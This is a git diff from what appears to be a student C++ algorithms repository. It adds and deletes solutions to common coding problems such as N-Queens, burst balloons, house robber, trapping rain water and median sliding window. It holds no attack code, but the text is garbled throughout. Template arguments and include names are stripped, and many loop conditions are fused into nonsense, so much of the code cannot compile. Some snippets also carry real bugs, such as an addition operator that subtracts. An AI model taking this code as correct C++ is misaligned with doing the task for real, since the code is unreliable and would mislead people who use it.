target) { + vectorans; + unordered_mapm; + int n=nums.size(); + + for(int i=0;i a,int i,int j,vector> &dp) - { - if(i>j) - return 0; - - if(dp[i][j]!=-1) - return dp[i][j]; - - int ans=INT_MIN; - - for(int k=i;k<=j;k++) - { - int x=solve(a,i,k-1,dp)+solve(a,k+1,j,dp)+(a[k]*a[i-1]*a[j+1]); - ans=max(ans,x); - } - - return dp[i][j]= ans; - } - - int maxCoins(vector& a) { - - int n=a.size(); - vector> dp(n+2,vector(n+2,0)); - a.insert(a.begin(),1); - a.push_back(1); - - //return solve(a,1,n,dp); - - for(int i=n;i>=1;i--) - { - for(int j=i;j<=n;j++) - { - int ans=INT_MIN; - for(int k=i;k<=j;k++) - { - int x=dp[i][k-1]+dp[k+1][j]+(a[k]*a[i-1]*a[j+1]); - ans=max(ans,x); - } - - dp[i][j]=ans; - } - } - - return dp[1][n]; - } \ No newline at end of file diff --git a/Add Code Here/C++/leetcode/burstBallons2.cpp b/Add Code Here/C++/leetcode/burstBallons2.cpp deleted file mode 100644 index 1e41d95d591..00000000000 --- a/Add Code Here/C++/leetcode/burstBallons2.cpp +++ /dev/null @@ -1,35 +0,0 @@ -int isolve(vector &a,int k,int n) - { - vector dp(a.size()+2,0); - - for(int i=n-1;i>=k;i--) - { - dp[i]=max(a[i]+dp[i+2],dp[i+1]); - } - - return dp[k]; - } - - int solve(vector &a,int i,int n,vector &dp) - { - if(i>=n) - return 0; - - if(dp[i]!=-1) - return dp[i]; - - return dp[i]= max(a[i]+solve(a,i+2,n,dp),solve(a,i+1,n,dp)); - } - - int rob(vector& a) { - - int n=a.size(); - if(n==1) - return a[0]; - vector dp1(n,-1),dp2(n,-1); - - //return max(solve(a,0,n-1,dp1),solve(a,1,n,dp2)); - return max(isolve(a,0,n-1),isolve(a,1,n)); - - - } \ No newline at end of file diff --git a/Add Code Here/C++/leetcode/content/participant/sri-soumya.md b/Add Code Here/C++/leetcode/content/participant/sri-soumya.md deleted file mode 100644 index 7d705d27b3a..00000000000 --- a/Add Code Here/C++/leetcode/content/participant/sri-soumya.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -name: Soumya -institution/company: Thapar Institute of Engineering and Technology -github: sri-soumya ---- diff --git a/Add Code Here/C++/leetcode/finddublicateinarray b/Add Code Here/C++/leetcode/finddublicateinarray new file mode 100644 index 00000000000..1ed746fdf86 --- /dev/null +++ b/Add Code Here/C++/leetcode/finddublicateinarray @@ -0,0 +1,13 @@ +int findDuplicate(vector &arr) +{ + // Write your code here + int ans = 0; + for(int i =0; i& nums) { - vector dp(nums.size(),-1); - //return solve(nums,0,dp); - int n=nums.size(); - dp[0]=nums[0]; - for(int i=1;i=0)?dp[i-2]+nums[i]:nums[i]; - dp[i]=max(op1,op2); - } - - return dp[n-1]; - } \ No newline at end of file diff --git a/Add Code Here/C++/leetcode/longestPalindromicSubstring.cpp b/Add Code Here/C++/leetcode/longestPalindromicSubstring.cpp deleted file mode 100644 index d19da8ee48d..00000000000 --- a/Add Code Here/C++/leetcode/longestPalindromicSubstring.cpp +++ /dev/null @@ -1,37 +0,0 @@ -string longestPalindrome(string s) { - - int n=s.length(); - int in=0; - int m=1; - - for(int i=0;i=0&&rm) - { - in=l; - m=r-l+1; - } - l--;r++; - } - - l=i,r=i+1; - - while(l>=0&&rm) - { - in=l; - m=r-l+1; - } - l--;r++; - } - - } - - return s.substr(in,m); - - } \ No newline at end of file diff --git a/Add Code Here/C++/leetcode/nQueens.cpp b/Add Code Here/C++/leetcode/nQueens.cpp deleted file mode 100644 index b2907eab73d..00000000000 --- a/Add Code Here/C++/leetcode/nQueens.cpp +++ /dev/null @@ -1,60 +0,0 @@ -bool safe(vector b,int n,int i,int j) - { - for(int x=0;x=0&&y>=0) - { - if(b[x][y]=='Q') - return false; - x--;y--; - } - - x=i;y=j; - - while(y=0) - { - if(b[x][y]=='Q') - return false; - x--;y++; - } - - return true; - } - - bool solve(vector> &a,vector &b,int n,int i) - { - if(i==n) - { - a.push_back(b); - return true; - } - - for(int j=0;j> solveNQueens(int n) { - string a=""; - for(int i=0;i> ans; - vector b(n,a); - - solve(ans,b,n,0); - return ans; - } \ No newline at end of file diff --git a/Add Code Here/C++/leetcode/sumofmaxmin b/Add Code Here/C++/leetcode/sumofmaxmin new file mode 100644 index 00000000000..cf6401127dd --- /dev/null +++ b/Add Code Here/C++/leetcode/sumofmaxmin @@ -0,0 +1,19 @@ +#include +int sumOfMaxMin(int arr[], int n){ + // Write your code here. + int min =INT_MAX; + int max =INT_MIN; + for(int i=0; imax){ + max=arr[i]; + } + } + for(int i=0; i& height) { - - int n=height.size(),l=0,r=n-1,lm=0,rm=0,ans=0; - - while(l<=r) - { - if(height[l]<=height[r]) - { - if(height[l]>=lm) - { - lm=height[l]; - } - else - { - ans+=lm-height[l]; - } - l++; - } - else - { - if(height[r]>=rm) - { - rm=height[r]; - } - else - { - ans+=rm-height[r]; - } - r--; - } - } - - return ans; - - } \ No newline at end of file diff --git a/Add Code Here/C++/lengthOfLinkedList.cpp b/Add Code Here/C++/lengthOfLinkedList.cpp deleted file mode 100644 index fb4ba37885d..00000000000 --- a/Add Code Here/C++/lengthOfLinkedList.cpp +++ /dev/null @@ -1,51 +0,0 @@ - -#include -using namespace std; - - -class Node { -public: - int data; - Node* next; -}; - - -void push(Node** head_ref, int new_data) -{ - - Node* new_node = new Node(); - - - new_node->data = new_data; - - - new_node->next = (*head_ref); - - (*head_ref) = new_node; -} - - -int getCount(Node* head) -{ - int count = 0; - Node* current = head; - while (current != NULL) { - count++; - current = current->next; - } - return count; -} - - -int main() -{ - Node* head = NULL; - push(&head, 1); - push(&head, 3); - push(&head, 1); - push(&head, 2); - push(&head, 1); - - cout << "count of nodes is " << getCount(head); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/linearSearch.cpp b/Add Code Here/C++/linearSearch.cpp deleted file mode 100644 index 9ffde025d4b..00000000000 --- a/Add Code Here/C++/linearSearch.cpp +++ /dev/null @@ -1,19 +0,0 @@ -#include - -using namespace std; - -int main(){ - - int a[]={1,2,3,4,5}; - - int k; - - cin>>k; - - for (int i=0;i -#include -using namespace std; - -class node { - - public: - - int value; - node* next; //pointer variable the next node. -}; -int main() - -//one two.... are pointer variable - -{ - node* head; //initialising of pointer with null - node* one = NULL; - node* two = NULL; - node* three = NULL; - node* four = NULL; - - one = new node(); // request memory for variable - two = new node(); //allocation of memory - three = new node(); - four = new node(); - - one->value =1; // assign values of the pointers - two->value =2; - three->value =3; - four->value =4; - - one->next = two; //connecting nodes - two->next = three; - three->next = four; - four->next =NULL; - - head = one; - while (head != NULL) - { - cout<< head->value; - head = head->next; //printing values..... - - } - -} diff --git a/Add Code Here/C++/lis.cpp b/Add Code Here/C++/lis.cpp deleted file mode 100644 index 0955c7e8826..00000000000 --- a/Add Code Here/C++/lis.cpp +++ /dev/null @@ -1,18 +0,0 @@ -int lis(int arr[], int n) -{ - int lis[n]; - - lis[0] = 1; - - /* Compute optimized LIS values in - bottom up manner */ - for (int i = 1; i < n; i++) { - lis[i] = 1; - for (int j = 0; j < i; j++) - if (arr[i] > arr[j] && lis[i] < lis[j] + 1) - lis[i] = lis[j] + 1; - } - - // Return maximum value in lis[] - return *max_element(lis, lis + n); -} diff --git a/Add Code Here/C++/longest_common_subsequence_dp.cpp b/Add Code Here/C++/longest_common_subsequence_dp.cpp deleted file mode 100644 index 42cc079e8f8..00000000000 --- a/Add Code Here/C++/longest_common_subsequence_dp.cpp +++ /dev/null @@ -1,44 +0,0 @@ -#include -using namespace std; - -int lcs(char *X, char *Y, int m, int n) -{ - - int L[m + 1][n + 1]; //matrix initialiazation - -//bottom up manner - for (int i = 0; i <= m; i++) - { - for (int j = 0; j <= n; j++) - { - if (i == 0 || j == 0) - L[i][j] = 0; - - else if (X[i - 1] == Y[j - 1]) - L[i][j] = L[i - 1][j - 1] + 1; - - else - L[i][j] = max(L[i - 1][j], L[i][j - 1]); - } - } - - - return L[m][n]; -} - -// Driver program to test above function -int main() -{ - - char X[] = "AGGTAB"; - char Y[] = "GXTXAYB"; - - int m = strlen(X); - int n = strlen(Y); - - cout << "Length of LCS is: " << lcs(X, Y, m, n); - - return 0; -} -//this is the tabulated implementaion of longest common subsequence problem. -//time complexity is O(mn) \ No newline at end of file diff --git a/Add Code Here/C++/longest_univalue_path.cpp b/Add Code Here/C++/longest_univalue_path.cpp deleted file mode 100644 index 4270c2e69c1..00000000000 --- a/Add Code Here/C++/longest_univalue_path.cpp +++ /dev/null @@ -1,43 +0,0 @@ -// https://leetcode.com/problems/longest-univalue-path/discuss/108155/C%2B%2B-DFS-with-explanation - -// Explanation:- - -// Perform DFS by recursively invoking go for left and right subtrees. When coming back up the recursive stack, check to see if the root value is equal to the left and right subtree root value, if so, add one onto the max path value returned by the subtree to include the one additional path between the root and the subtree root. -// -// There are 3 possible use cases to consider when coming back up the recursive stack: -// -// Case 1: If the root value is equal to BOTH the left and right subtree root values, then set m to the maximum of itself compared to the "up-side-down-V shaped" path created by including the left and right subtrees max paths with the root ( l=l+1 and r=r+1 ). Return the max path value of the left and right subtrees return max(l,r) which is needed in case the next parent up the recursive stack is also the same value. -// -// Case 2: If the root value is NOT equal to EITHER the left INCLUSIVE-OR right subtree values, then set BOTH l=0 and r=0 and return 0 ( i.e. return max(0,0) ). -// -// Case 3: If the root value is equal to the left subtree root value XOR the right subtree root value, then either l=0 and r=r+1 XOR l=l+1 and r=0, return the maximum of the left and right subtree path values ( i.e. return max(l,0) XOR return max(0,r) ). -// -// Always check for a new max for each of these 3 use cases by adding the path value of the left subtree and right subtree. m=max(m,l+r). It is OK to add l and r together when checking for a new max for each of the 3 use cases above, since l and/or r are set to 0 when applicable ( i.e. for case 2: 0+0==0 and for case 3: l+0==l XOR 0+r==r ). - -// Code:- -struct TreeNode { - int val; - TreeNode *left; - TreeNode *right; - TreeNode() : val(0), left(nullptr), right(nullptr) {} - TreeNode(int x) : val(x), left(nullptr), right(nullptr) {} - TreeNode(int x, TreeNode *left, TreeNode *right) : val(x), left(left), right(right) {} - }; -class Solution { -public: - int longestUnivaluePath(TreeNode* root) { - if (!root) return 0; - int longestPath=0; - go(root, longestPath); - return longestPath; - } -private: - int go(TreeNode* root, int& m){ - int l=root->left ? go(root->left, m) : 0; - int r=root->right ? go(root->right, m) : 0; - l=(root->left && root->left->val==root->val) ? l+1 : 0; - r=(root->right && root->right->val==root->val) ? r+1 : 0; - m=max(m,l+r); - return max(l,r); - } -}; diff --git a/Add Code Here/C++/majority_element.cpp b/Add Code Here/C++/majority_element.cpp deleted file mode 100644 index 2522dacb018..00000000000 --- a/Add Code Here/C++/majority_element.cpp +++ /dev/null @@ -1,38 +0,0 @@ -// Question: Majority Element -// Description: Given an array of size n, majority element is an element that occours more -// than n/2 times in the array -// e.g. [1,5,2,5,5] --> Majority element is 5 -// Assume that majority element always exists - - -//Solved using Moore's Voting Algorithm - -#include -using namespace std; -#define ll long long - - -int main(){ - ios_base::sync_with_stdio(false); - cin.tie(NULL); - int n; - cin >> n; - int arr[n]; - for (int i = 0; i < n;i++){ - cin >> arr[i]; - } - int candidate = arr[0], count = 1; - for (int i = 1; i < n;i++){ - if(arr[i]==candidate){ - count++; - }else{ - count--; - } - if(count==0){ - candidate = arr[i]; - count = 1; - } - } - cout << candidate << endl; - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/matrix-chain-multiplication.cpp b/Add Code Here/C++/matrix-chain-multiplication.cpp deleted file mode 100644 index 72f0a8c7656..00000000000 --- a/Add Code Here/C++/matrix-chain-multiplication.cpp +++ /dev/null @@ -1,42 +0,0 @@ -#include -using namespace std; - -class Solution { - public: - int dp[101][101]; - int solve(int arr[], int i, int j) { - if (i >= j) { - return 0; - } - if (dp[i][j] != -1) { - return dp[i][j]; - } - int mn = INT_MAX; - for (int k = i; k < j; k++) { - int temp = solve(arr, i, k) + solve(arr, k + 1, j) + - arr[i - 1] * arr[k] * arr[j]; - mn = min(mn, temp); - } - return dp[i][j] = mn; - } - int matrixMultiplication(int n, int arr[]) { - for (int i = 0; i < 101; i++) { - for (int j = 0; j < 101; j++) { - dp[i][j] = -1; - } - } - return solve(arr, 1, n - 1); - } -}; - -int main() { - int n; - cin >> n; - int arr[n]; - for (int i = 0; i < n; i++) { - cin >> arr[i]; - } - Solution obj; - cout << obj.matrixMultiplication(n, arr) << endl; - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/matrix_rotation.cpp b/Add Code Here/C++/matrix_rotation.cpp deleted file mode 100644 index df293b3ced6..00000000000 --- a/Add Code Here/C++/matrix_rotation.cpp +++ /dev/null @@ -1,66 +0,0 @@ -/* - Platform: HackerRank - Question URL: https://www.hackerrank.com/challenges/matrix-rotation-algo -*/ -#include -#include -#include -#include -#include -using namespace std; - -// Main algorithm: in order to rotate the whole matrix, we'll just rotate one ring at a time -// We can do this in-place to achieve O(1) additional space complexity -int main() { - int M, N, R; - cin>>M>>N>>R; - int **matrix = new int*[M]; - for(int i = 0; i < M; i++) { - matrix[i] = new int[N]; - for(int j = 0; j < N; j++) { - cin>>matrix[i][j]; - } - } - - int numRings = min(M,N)/2; - for(int i = 0; i < numRings; i++) { - // Subtract the number of 360 degree rotations from R - // A 360 degree rotation = rotating the same number of times as the perimeter of the current ring - int numRotations = R%(2*(M + N - 4*i) - 4); - for(int rotation = 0; rotation < numRotations; rotation++) { - // Rotate the ring (see the clockwise algorithm for an in-depth example of how this is done) - // Rotate top row - for(int j = i; j < N-i-1; j++) { - int tmp = matrix[i][j]; - matrix[i][j] = matrix[i][j+1]; - matrix[i][j+1] = tmp; - } - // Rotate right column - for(int j = i; j < M-i-1; j++) { - int tmp = matrix[j][N-i-1]; - matrix[j][N-i-1] = matrix[j+1][N-i-1]; - matrix[j+1][N-i-1] = tmp; - } - // Rotate bottom row - for(int j = N-i-1; j > i; j--) { - int tmp = matrix[M-i-1][j]; - matrix[M-i-1][j] = matrix[M-i-1][j-1]; - matrix[M-i-1][j-1] = tmp; - } - // Rotate left column - for(int j = M-i-1; j > i+1; j--) { - int tmp = matrix[j][i]; - matrix[j][i] = matrix[j-1][i]; - matrix[j-1][i] = tmp; - } - } - } - // Output final matrix - for(int i = 0; i < M; i++) { - for(int j = 0; j < N; j++) { - cout< -using namespace std; - -// Tree Node -struct Node -{ - int data; - Node *left; - Node *right; -}; - -// Utility function to create a new Tree Node -Node *newNode(int val) -{ - Node *temp = new Node; - temp->data = val; - temp->left = NULL; - temp->right = NULL; - - return temp; -} - -// Function to Build Tree -Node *buildTree(string str) -{ - // Corner Case - if (str.length() == 0 || str[0] == 'N') - return NULL; - - // Creating vector of strings from input - // string after spliting by space - vector ip; - - istringstream iss(str); - for (string str; iss >> str;) - ip.push_back(str); - - // Create the root of the tree - Node *root = newNode(stoi(ip[0])); - - // Push the root to the queue - queue queue; - queue.push(root); - - // Starting from the second element - int i = 1; - while (!queue.empty() && i < ip.size()) - { - - // Get and remove the front of the queue - Node *currNode = queue.front(); - queue.pop(); - - // Get the current node's value from the string - string currVal = ip[i]; - - // If the left child is not null - if (currVal != "N") - { - - // Create the left child for the current node - currNode->left = newNode(stoi(currVal)); - - // Push it to the queue - queue.push(currNode->left); - } - - // For the right child - i++; - if (i >= ip.size()) - break; - currVal = ip[i]; - - // If the right child is not null - if (currVal != "N") - { - - // Create the right child for the current node - currNode->right = newNode(stoi(currVal)); - - // Push it to the queue - queue.push(currNode->right); - } - i++; - } - - return root; -} - -// } Driver Code Ends -// User function Template for C++ - -// Node Structure -/* -struct Node -{ - int data; - Node* left; - Node* right; -}; -*/ - -class Solution -{ -public: - // Function to return the maximum sum of non-adjacent nodes. - pair solve(Node *root) - { - // base case - if (root == NULL) - { - pair p = make_pair(0, 0); - return p; - } - - pair left = solve(root->left); - pair right = solve(root->right); - - pair res; - - res.first = root->data + left.second + right.second; - - res.second = max(left.first, left.second) + max(right.first, right.second); - - return res; - } - int getMaxSum(Node *root) - { - pair ans = solve(root); - return max(ans.first, ans.second); - } -}; - -// { Driver Code Starts. - -// Driver code -int main() -{ - int t; - scanf("%d ", &t); - while (t--) - { - string s; - getline(cin, s); - Node *root = buildTree(s); - Solution ob; - cout << ob.getMaxSum(root) << endl; - } - return 0; -} // } Driver Code Ends \ No newline at end of file diff --git a/Add Code Here/C++/medianSlidingWindow.cpp b/Add Code Here/C++/medianSlidingWindow.cpp deleted file mode 100644 index 9709701fa95..00000000000 --- a/Add Code Here/C++/medianSlidingWindow.cpp +++ /dev/null @@ -1,72 +0,0 @@ -#include -using namespace std; - -vector medianSlidingWindow(vector& nums, int k) { - // we will use two multiset to get the median such that the right partition multiset will have elements >= left partition - // left partition gives max element - multiset> left; - // right partition gives min element - multiset right; - int i = 0; - vector ans; - for(int j=0; j *right.begin()) { // right partiton will have elements >= left partiton set - right.insert(*left.begin()); - left.erase(left.begin()); - } - // balancing left & right partiton such that difference of their size should not exceed 1 - if(left.size() > right.size()+1) { - right.insert(*left.begin()); - left.erase(left.begin()); - } - if(right.size() > left.size()+1) { - left.insert(*right.begin()); - right.erase(right.begin()); - } - - // Reached Window size - if(j-i+1 == k) { - double val; - if(k & 1) { // if window is odd, set won't have equal size then the mid will be always present at the begining of set which have greater size - val = left.size() > right.size() ? *left.begin() : *right.begin(); - } else { // if window is even, set have equal size then the mid will be the half of top values of both set - val = ( (double)*left.begin() + (double)*right.begin() ) / (double)2; - } - ans.push_back(val); - // now window is gonna shift by 1, we have to remove the occurence of first value of window - // the occurence may be present at left partition set or the right partition set - // we have to check in which partition our ith value is present & then we will delete that occurence from the partition - bool alreadyRemoved = false; - auto itr = left.find(nums[i]); - if(alreadyRemoved == false && itr != left.end()) { - left.erase(itr); - alreadyRemoved = true; - } - auto jtr = right.find(nums[i]); - if(alreadyRemoved == false && jtr != right.end()) { - right.erase(jtr); - alreadyRemoved = true; - } - // shifting the window - i++; - } - } - return ans; -} - -int main() { - int n; - cin >> n; - vector nums(n); - for(int i=0; i> nums[i]; - } - int k; - cin >> k; - vector result = medianSlidingWindow(nums, k); - for(auto &num : result) { - cout << num; - } - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/median_of_two_sorted_array.cpp b/Add Code Here/C++/median_of_two_sorted_array.cpp deleted file mode 100644 index 12ead1d92f3..00000000000 --- a/Add Code Here/C++/median_of_two_sorted_array.cpp +++ /dev/null @@ -1,26 +0,0 @@ -class Solution { -public: - double findMedianSortedArrays(vector& nums1, vector& nums2) { - int i=0,j=0; - while(i -#define vi vector -using namespace std; -void merge(vi &v,int e,int b,int a,int c,int r) -{ - vi v1,v2,v3,v4; - for(int i=0;i x; - while(iv2[j] && v2[j]v3[k] && v2[j]>v3[k] && v4[l]>v3[k]) - { - x.push_back(v3[k]); - k++; - - } - else - { - x.push_back(v4[l]); - l++; - } - - } - - for(int i=0;i v={23,1,100,987,-100,0,56}; -mergesort(v,0,v.size()-1); -for(int i=0;i -using namespace std; -int main() -{ - int n,i,min_ele,max_ele; - cout << "Enter the length of array" << endl; - cin >> n; // Taking array length as input - vector arr(n); - cout << "Enter array elements" << endl; - for(i=0;i> arr[i]; - } - sort(arr.begin(),arr.end()); // Sorting array elements - min_ele=arr[0]; // first element obtained after sorting is the min_ele - max_ele=arr[n-1]; // last element obtained after sorting is the max_ele - cout << "Minimum element is " << min_ele << endl; - cout << "Maximum element is " << max_ele << endl; - return 0; -} diff --git a/Add Code Here/C++/mini-calculator.cpp b/Add Code Here/C++/mini-calculator.cpp deleted file mode 100644 index b1aee5de897..00000000000 --- a/Add Code Here/C++/mini-calculator.cpp +++ /dev/null @@ -1,37 +0,0 @@ -# include -using namespace std; - -int main(){ - - int a, b; - - cout<<"Enter the value of a "<>a; - - cout<<"Enter the value of b "<>b; - - char op; - cout<<"Enter the operator "; - cin>>op; - - switch(op){ - - case '+': cout << (a+b) <1 && arr[0] == 0) - return -1; - - int reach_upto = arr[0]; - int step_remain = arr[0]; - int jumps=0; - - for(int i=1; i -using namespace std; -#define N 4 -/* ld is an array where its indices indicate row-col+N-1 -(N-1) is for shifting the difference to store negative -indices */ -int ld[30] = { 0 }; -/* rd is an array where its indices indicate row+col -and used to check whether a queen can be placed on -right diagonal or not*/ -int rd[30] = { 0 }; -/*column array where its indices indicates column and -used to check whether a queen can be placed in that - row or not*/ -int cl[30] = { 0 }; -/* A utility function to print solution */ -void printSolution(int board[N][N]) -{ - for (int i = 0; i < N; i++) { - for (int j = 0; j < N; j++) - cout<<" "<< board[i][j]<<" "; - cout<= N) - return true; - - /* Consider this column and try placing - this queen in all rows one by one */ - for (int i = 0; i < N; i++) { - /* Check if the queen can be placed on - board[i][col] */ - /* A check if a queen can be placed on - board[row][col].We just need to check - ld[row-col+n-1] and rd[row+coln] where - ld and rd are for left and right - diagonal respectively*/ - if ((ld[i - col + N - 1] != 1 && rd[i + col] != 1) && cl[i] != 1) { - /* Place this queen in board[i][col] */ - board[i][col] = 1; - ld[i - col + N - 1] = rd[i + col] = cl[i] = 1; - - /* recur to place rest of the queens */ - if (solveNQUtil(board, col + 1)) - return true; - - /* If placing queen in board[i][col] - doesn't lead to a solution, then - remove queen from board[i][col] */ - board[i][col] = 0; // BACKTRACK - ld[i - col + N - 1] = rd[i + col] = cl[i] = 0; - } - } - - /* If the queen cannot be placed in any row in - this column col then return false */ - return false; -} -/* This function solves the N Queen problem using -Backtracking. It mainly uses solveNQUtil() to -solve the problem. It returns false if queens -cannot be placed, otherwise, return true and -prints placement of queens in the form of 1s. -Please note that there may be more than one -solutions, this function prints one of the -feasible solutions.*/ -bool solveNQ() -{ - int board[N][N] = { { 0, 0, 0, 0 }, - { 0, 0, 0, 0 }, - { 0, 0, 0, 0 }, - { 0, 0, 0, 0 } }; - - if (solveNQUtil(board, 0) == false) { - cout<<"Solution does not exist"; - return false; - } - - printSolution(board); - return true; -} - -// driver program to test above function -int main() -{ - solveNQ(); - return 0; -} - - diff --git a/Add Code Here/C++/n_n-1.cpp b/Add Code Here/C++/n_n-1.cpp deleted file mode 100644 index 89df8abd277..00000000000 --- a/Add Code Here/C++/n_n-1.cpp +++ /dev/null @@ -1,45 +0,0 @@ -// This program is basically used to calculate the number of set bits(i.e. 1) in given decimal number - -#include -using namespace std; - -int main() -{ - int num, original, count = 0; - cout<<"Enter the number: "; // Decimal number is entered - cin>>num; - original = num; // Here num is copied to original to retrieve the original number after calculation - while(num>0) - { - num = num & (num - 1); // Main logic here - count++; // After each iteration count is incremented by 1 - } - cout<<"Number of set bits in "< 4 -// we then increase the count value to 1 -// In second iteration, -// num = 4 -// num - 1 = 3 -// Therefore, num = 4 & 3 -// i.e. 0100 -// & 0011 -// ------- -// 0000 -// At this point num gets 0 -// We increment the count value to 2 - -// Now, when we again check the while loop condition it will turn out to be false and we get out of the lexicographical_compare - -// Thank You! - diff --git a/Add Code Here/C++/nextGreaterelement.cpp b/Add Code Here/C++/nextGreaterelement.cpp new file mode 100644 index 00000000000..4123cca478d --- /dev/null +++ b/Add Code Here/C++/nextGreaterelement.cpp @@ -0,0 +1,60 @@ +#include +using namespace std; + +void NextGreaterIdx(int arr[],int n){ + // next greater element idx + int ans[n]; + stack s; + ans[n-1]=-1; + s.push(n-1); + for(int i=n-2;i>=0;i--){ + while(!s.empty() && arr[s.top()]<=arr[i]){ + s.pop(); + } + if(s.size()==0){ + ans[i]=-1; + } + else{ + ans[i]=s.top(); + } + s.push(i); + } + for(int i=0;i s; + ans[n-1]=-1; + s.push(arr[n-1]); + for(int i=n-2;i>=0;i--){ + while(!s.empty() && s.top()<=arr[i]){ + s.pop(); + } + if(s.size()==0){ + ans[i]=-1; + } + else{ + ans[i]=s.top(); + } + s.push(arr[i]); + } + for(int i=0;i -using namespace std; - -char words[][10]={"zero","one","two","three","four","five","six","seven","eight","nine"}; -void convert(int n) -{ - if(n==0) - return; - else - { - convert(n/10); - int digit=n%10; - cout<>n; - - convert(n); -} diff --git a/Add Code Here/C++/operator-overload.cpp b/Add Code Here/C++/operator-overload.cpp deleted file mode 100644 index 99e1790cdf9..00000000000 --- a/Add Code Here/C++/operator-overload.cpp +++ /dev/null @@ -1,126 +0,0 @@ -#include -using namespace std; -class ComplexNumbers -{ - double realNumber ; - double imaginaryNumber ; - public: - ComplexNumbers() - { - realNumber = imaginaryNumber = 0 ; - } - ComplexNumbers(double realNumber) - { - this->realNumber = realNumber ; - imaginaryNumber = 0 ; - } - ComplexNumbers(double realNumber , double imaginaryNumber) - { - this->realNumber = realNumber ; - this->imaginaryNumber = imaginaryNumber ; - } - ComplexNumbers(const ComplexNumbers & obj) - { - realNumber = obj.realNumber ; - imaginaryNumber = obj.imaginaryNumber ; - } - void print() - { - if(this->imaginaryNumber > 0) - { - cout<realNumber<<"+"<imaginaryNumber<<"i"<realNumber<imaginaryNumber<<"i"<realNumber=realNumber; - } - void setImg(double imaginaryNumber) - { - this->imaginaryNumber=imaginaryNumber; - } - double getReal() - { - return this->realNumber; - } - double getImg() - { - return this->imaginaryNumber; - } - friend ComplexNumbers operator + (ComplexNumbers c1,ComplexNumbers c2); - friend ComplexNumbers operator - (ComplexNumbers c1,ComplexNumbers c2); - friend ComplexNumbers operator * (ComplexNumbers c1,ComplexNumbers c2); - friend ComplexNumbers operator / (ComplexNumbers c1,ComplexNumbers c2); -}; -ComplexNumbers operator + (ComplexNumbers c1,ComplexNumbers c2) -{ - ComplexNumbers C1; - - C1.realNumber=c1.realNumber+c2.realNumber; - C1.imaginaryNumber=c1.imaginaryNumber+c2.imaginaryNumber; - return C1; -} -ComplexNumbers operator - (ComplexNumbers c1,ComplexNumbers c2) -{ - ComplexNumbers C1; - C1.realNumber=c1.realNumber-c2.realNumber; - C1.imaginaryNumber=c1.imaginaryNumber-c2.imaginaryNumber; - return C1; -} -ComplexNumbers operator / (ComplexNumbers c1,ComplexNumbers c2) -{ - ComplexNumbers C1; - double temp1=c1.realNumber*c2.realNumber; // real number one - double temp2=c1.imaginaryNumber*c2.imaginaryNumber; // real number two by formula of divsion - double temp3=c1.realNumber*c2.imaginaryNumber; //imaginary number one - double temp4=c1.imaginaryNumber*c2.realNumber; - double real=temp1+temp2; - double imag=(-1)*c2.imaginaryNumber; - double temp5=c2.realNumber*c2.realNumber; - double temp8=c2.imaginaryNumber*imag; - double realNum=temp5-temp8; - temp4=(-1)*temp4; - double imaginary=temp3-temp4; - C1.realNumber=(real)/realNum; - C1.imaginaryNumber=(imaginary)/realNum; - return C1; -} -ComplexNumbers operator * (ComplexNumbers c1, ComplexNumbers c2) -{ - ComplexNumbers C1; - double temp=c1.realNumber*c2.realNumber; - double temp2=c1.realNumber*c2.imaginaryNumber; - double temp3=c1.imaginaryNumber*c2.realNumber; - double temp4=c1.imaginaryNumber*c2.imaginaryNumber; - temp4=(-1)*temp4; - C1.imaginaryNumber=temp2+temp3; - C1.realNumber=temp+temp4; - return C1; -} -int main() -{ - ComplexNumbers complex1,complex2,complex3; - - double realNumber1,realNumber2,imaginaryNumber1,imaginaryNumber2; - cout<<"Enter first real Numbers and complex number: "; - cin>>realNumber1>>imaginaryNumber1; - cout<<"Enter 2nd real Numbers: and complex number: "; - cin>>realNumber2>>imaginaryNumber2; - complex1=new ComplexNumbers(12.122); - complex1.setReal(realNumber1); - complex1.setImg(imaginaryNumber1); - complex2.setReal(realNumber2); - complex2.setImg(imaginaryNumber2); - complex3=complex1+complex2; - complex3.print(); - complex3=complex1-complex2; - complex3.print(); - complex3=complex1*complex2; - complex3.print(); - complex3=complex1/complex2; - complex3.print(); -} \ No newline at end of file diff --git a/Add Code Here/C++/operator_overloading.cpp b/Add Code Here/C++/operator_overloading.cpp deleted file mode 100644 index e8015d422b4..00000000000 --- a/Add Code Here/C++/operator_overloading.cpp +++ /dev/null @@ -1,29 +0,0 @@ -#include -using namespace std; - -class student{ - public: - int x; - int y; - student(){ - - } - student(int x,int y){ - this->x=x; - this->y=y; - } - student operator + (student s){ - student ans; - ans.x = this->x- s.x; - ans.y = this->y- s.y; - return ans; - } -}; -int main() { - // your code goes here - student stu1(4,5); - student stu2(5,6); - student stu3=stu1 + stu2; - cout<> generate(int numRows) { + vectorq; vector>q1; + for(int i=0;ileft and !root->right) - { - if(targetSum==root->val) return true; - return false; - } - - if(hasPathSum(root->left,targetSum-root->val)) return true; - - if(hasPathSum(root->right,targetSum-root->val)) return true; - - return false; - } -}; diff --git a/Add Code Here/C++/pathsum.cpp b/Add Code Here/C++/pathsum.cpp deleted file mode 100644 index 3eb63648f6a..00000000000 --- a/Add Code Here/C++/pathsum.cpp +++ /dev/null @@ -1,31 +0,0 @@ -/** - * Definition for a binary tree node. - * struct TreeNode { - * int val; - * TreeNode *left; - * TreeNode *right; - * TreeNode() : val(0), left(nullptr), right(nullptr) {} - * TreeNode(int x) : val(x), left(nullptr), right(nullptr) {} - * TreeNode(int x, TreeNode *left, TreeNode *right) : val(x), left(left), right(right) {} - * }; - */ - -// Solution by Sameer Aggrawal -class Solution { -public: - bool hasPathSum(TreeNode* root, int targetSum) { - if(!root) return false; - - if(!root->left and !root->right) - { - if(targetSum==root->val) return true; - return false; - } - - if(hasPathSum(root->left,targetSum-root->val)) return true; - - if(hasPathSum(root->right,targetSum-root->val)) return true; - - return false; - } -}; diff --git a/Add Code Here/C++/pattern2.cpp b/Add Code Here/C++/pattern2.cpp deleted file mode 100644 index 353407e1ed2..00000000000 --- a/Add Code Here/C++/pattern2.cpp +++ /dev/null @@ -1,18 +0,0 @@ -#include -#include -using namespace std; -int main() -{ int rows; - cout<<"Enter number of rows::"; - cin>>rows; - for(int i=1;i<=rows;i++) - { - for(int j=1;j<=i;j++) - { - cout<<"* "; - } - cout< -#include -using namespace std; - -int main() -{ - int ch; - char choice; - - do - { 